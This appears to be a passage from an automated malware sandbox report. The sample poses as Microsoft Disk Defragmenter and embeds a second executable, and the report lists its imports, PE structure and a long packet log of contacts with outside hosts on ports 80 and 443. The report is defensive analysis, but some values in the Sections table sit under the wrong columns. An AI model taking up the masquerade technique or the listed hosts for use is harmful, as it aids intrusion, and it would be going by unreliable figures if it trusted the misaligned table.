mov dword ptr [ebp-6Ch], eax
lea eax, dword ptr [ebp-6Ch]
push eax
push dword ptr [0070F880h]
lea eax, dword ptr [ebp-64h]
push eax
lea eax, dword ptr [ebp-70h]
push eax
lea eax, dword ptr [ebp-60h]
push eax
call dword ptr [0040A0DCh]
push 0040B008h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa1e0	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x310000	0x35a454	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xa000	0x188	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Xored PE	ZLIB Complexity	File Type	Characteristics
.text	0x1000	0x8bca	0x9000	False	0.534450954861	data	6.13459082812	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0xa000	0x998	0x1000	False	0.29345703125	data	3.50361558618	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xb000	0x30489c	0x27000	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ	0xb000
.rsrc	0x310000	0x35a454	0x35b000	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ	0x32000

Resources

Name	RVA	Size	Type	Language	Country
R	0x3100a4	0x35a000	PE32 executable (GUI) Intel 80386, for MS Windows	English	United States
RT_VERSION	0x66a0a4	0x3b0	data	English	United States

Imports

DLL	Import
KERNEL32.dll	WaitForSingleObject, InterlockedIncrement, GetCurrentThreadId, GetCurrentThread, ReadFile, GetFileSize, CreateFileA, MoveFileExA, SizeofResource, TerminateThread, LoadResource, FindResourceA, GetProcAddress, GetModuleHandleW, ExitProcess, GetModuleFileNameA, LocalFree, LocalAlloc, CloseHandle, InterlockedDecrement, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSection, GlobalAlloc, GlobalFree, QueryPerformanceFrequency, QueryPerformanceCounter, GetTickCount, LockResource, Sleep, GetStartupInfoA, GetModuleHandleA
ADVAPI32.dll	StartServiceCtrlDispatcherA, RegisterServiceCtrlHandlerA, ChangeServiceConfig2A, SetServiceStatus, OpenSCManagerA, CreateServiceA, CloseServiceHandle, StartServiceA, CryptGenRandom, CryptAcquireContextA, OpenServiceA
WS2_32.dll	closesocket, recv, send, htonl, ntohl, WSAStartup, inet_ntoa, ioctlsocket, select, htons, socket, connect, inet_addr
MSVCP60.dll	??1_Lockit@std@@QAE@XZ, ??0_Lockit@std@@QAE@XZ
iphlpapi.dll	GetAdaptersInfo, GetPerAdapterInfo
WININET.dll	InternetOpenA, InternetOpenUrlA, InternetCloseHandle
MSVCRT.dll	__set_app_type, _stricmp, __p__fmode, __p__commode, _except_handler3, __setusermatherr, _initterm, __getmainargs, _acmdln, _adjust_fdiv, _controlfp, exit, _XcptFilter, _exit, _onexit, __dllonexit, free, ??2@YAPAXI@Z, _ftol, sprintf, _endthreadex, strncpy, rand, _beginthreadex, __CxxFrameHandler, srand, time, __p___argc

Version Infos

Description	Data
LegalCopyright	Microsoft Corporation. All rights reserved.
InternalName	lhdfrgui.exe
FileVersion	6.1.7601.17514 (win7sp1_rtm.101119-1850)
CompanyName	Microsoft Corporation
ProductName	Microsoft Windows Operating System
ProductVersion	6.1.7601.17514
FileDescription	Microsoft Disk Defragmenter
OriginalFilename	lhdfrgui.exe
Translation	0x0409 0x04b0

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Download Network PCAP:	Network PCAP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 12, 2017 18:53:26.864295959 CEST	53278	53	192.168.1.16	8.8.8.8
May 12, 2017 18:53:27.081289053 CEST	53	53278	8.8.8.8	192.168.1.16
May 12, 2017 18:53:27.188632011 CEST	49190	80	192.168.1.16	144.217.74.156
May 12, 2017 18:53:30.196316004 CEST	49190	80	192.168.1.16	144.217.74.156
May 12, 2017 18:53:36.195943117 CEST	49190	80	192.168.1.16	144.217.74.156
May 12, 2017 18:53:48.703721046 CEST	64052	53	192.168.1.16	8.8.8.8
May 12, 2017 18:53:48.863464117 CEST	53	64052	8.8.8.8	192.168.1.16
May 12, 2017 18:53:48.880059004 CEST	49191	80	192.168.1.16	144.217.74.156
May 12, 2017 18:53:48.880091906 CEST	80	49191	144.217.74.156	192.168.1.16
May 12, 2017 18:53:48.880168915 CEST	49191	80	192.168.1.16	144.217.74.156
May 12, 2017 18:53:48.880690098 CEST	49191	80	192.168.1.16	144.217.74.156
May 12, 2017 18:53:48.880716085 CEST	80	49191	144.217.74.156	192.168.1.16
May 12, 2017 18:53:49.145505905 CEST	80	49191	144.217.74.156	192.168.1.16
May 12, 2017 18:53:49.145562887 CEST	49191	80	192.168.1.16	144.217.74.156
May 12, 2017 18:53:49.383095026 CEST	49191	80	192.168.1.16	144.217.74.156
May 12, 2017 18:54:26.832833052 CEST	49195	443	192.168.1.16	95.130.12.119
May 12, 2017 18:54:26.832869053 CEST	443	49195	95.130.12.119	192.168.1.16
May 12, 2017 18:54:26.832937002 CEST	49195	443	192.168.1.16	95.130.12.119
May 12, 2017 18:54:27.009150028 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.009196997 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.009285927 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.052656889 CEST	49195	443	192.168.1.16	95.130.12.119
May 12, 2017 18:54:27.052706003 CEST	443	49195	95.130.12.119	192.168.1.16
May 12, 2017 18:54:27.053352118 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.053375006 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.140882969 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.144144058 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.144186974 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.180291891 CEST	443	49195	95.130.12.119	192.168.1.16
May 12, 2017 18:54:27.184706926 CEST	49195	443	192.168.1.16	95.130.12.119
May 12, 2017 18:54:27.184761047 CEST	443	49195	95.130.12.119	192.168.1.16
May 12, 2017 18:54:27.221338034 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.222728014 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.222755909 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.266028881 CEST	443	49195	95.130.12.119	192.168.1.16
May 12, 2017 18:54:27.266774893 CEST	49195	443	192.168.1.16	95.130.12.119
May 12, 2017 18:54:27.266813993 CEST	443	49195	95.130.12.119	192.168.1.16
May 12, 2017 18:54:27.338284016 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.338316917 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.338491917 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.339977026 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.340006113 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.376200914 CEST	443	49195	95.130.12.119	192.168.1.16
May 12, 2017 18:54:27.376218081 CEST	443	49195	95.130.12.119	192.168.1.16
May 12, 2017 18:54:27.376363039 CEST	49195	443	192.168.1.16	95.130.12.119
May 12, 2017 18:54:27.377805948 CEST	49195	443	192.168.1.16	95.130.12.119
May 12, 2017 18:54:27.377856970 CEST	443	49195	95.130.12.119	192.168.1.16
May 12, 2017 18:54:27.405255079 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.406056881 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.406089067 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.472347975 CEST	443	49195	95.130.12.119	192.168.1.16
May 12, 2017 18:54:27.490097046 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.490113020 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.490122080 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.490289927 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.491866112 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.491888046 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.491898060 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.492669106 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.500122070 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.500138044 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.500147104 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.500293970 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.500917912 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.500955105 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.500969887 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.501070976 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.518771887 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.518800974 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.518815994 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.518867970 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.519325972 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.519354105 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.519366980 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.519447088 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.528582096 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.528613091 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.528640985 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.528717995 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.528742075 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.544181108 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.544204950 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.544331074 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.544358969 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.544888973 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.544917107 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.546654940 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.546679020 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.546684980 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.546752930 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.553467035 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.553488970 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.553494930 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.553695917 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.562750101 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.562763929 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.562768936 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.562956095 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.567023039 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.567035913 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.567054987 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.567159891 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.575182915 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.575207949 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.575217009 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.575331926 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.576134920 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.576163054 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.576173067 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.576286077 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.576715946 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.585305929 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.585331917 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.585345030 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.585439920 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.585509062 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.585525990 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.585534096 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.585592985 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.603904963 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.603931904 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.603941917 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.603954077 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.603960991 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.604084015 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.604099035 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.604125023 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.604132891 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.604149103 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.604545116 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.604760885 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.621680021 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.621701002 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.621711969 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.621795893 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.629302979 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.629318953 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.629342079 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.629987955 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.630176067 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.631021023 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.631036997 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.631042004 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.631139040 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.645970106 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.645994902 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.646003962 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.646034956 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.646069050 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.646085024 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.646162987 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.646178961 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.646249056 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.646264076 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.663516998 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.663535118 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.663655043 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.663683891 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.664519072 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.664536953 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.664670944 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.664680004 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.664690018 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.664705992 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.664719105 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.664777040 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.666332006 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.672447920 CEST	443	49195	95.130.12.119	192.168.1.16
May 12, 2017 18:54:27.672672987 CEST	49195	443	192.168.1.16	95.130.12.119
May 12, 2017 18:54:27.672840118 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.693624973 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.693732977 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.693754911 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.693772078 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.693790913 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.693898916 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.693917036 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.703413010 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.703438997 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.703550100 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.703567982 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.706624031 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.706648111 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.706777096 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.706804991 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.713280916 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.713310957 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.713473082 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.713502884 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.721640110 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.721663952 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.721815109 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.721836090 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.721834898 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.721853018 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.721889973 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.721981049 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.722624063 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.722650051 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.722666979 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.722815990 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.723201036 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.739255905 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.739281893 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.739299059 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.739444971 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.739758015 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.739783049 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.739799023 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.739913940 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.748516083 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.748536110 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.748553991 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.748636961 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.758407116 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.758420944 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.758430958 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.758605003 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.767102957 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.767122030 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.767127037 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.767240047 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.767241955 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.767256975 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.767287016 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.767330885 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.767646074 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.788604975 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.788732052 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.788752079 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.798424006 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.798443079 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.798521996 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.798542976 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.806567907 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.806581974 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.806652069 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.806669950 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.808166027 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.808191061 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.808289051 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.808307886 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.817814112 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.817842007 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.817928076 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.817948103 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.824610949 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.824623108 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.824690104 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.824708939 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.825005054 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.827120066 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.827132940 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.827214003 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.827233076 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.833791018 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.833803892 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.833880901 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.833900928 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.836482048 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.836496115 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.836579084 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.836597919 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.845874071 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.845886946 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.845978022 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.846002102 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.851870060 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.851892948 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.852001905 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.852021933 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.860388994 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.860403061 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.860452890 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.860474110 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.861188889 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.861202955 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.861255884 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.861270905 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.861367941 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.861761093 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.874533892 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.874550104 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.874557972 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.874645948 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.882649899 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.882664919 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.882677078 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.882750988 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.884140968 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.884171009 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.884238005 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.884268045 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.897655010 CEST	443	49196	131.188.40.189	192.168.1.16
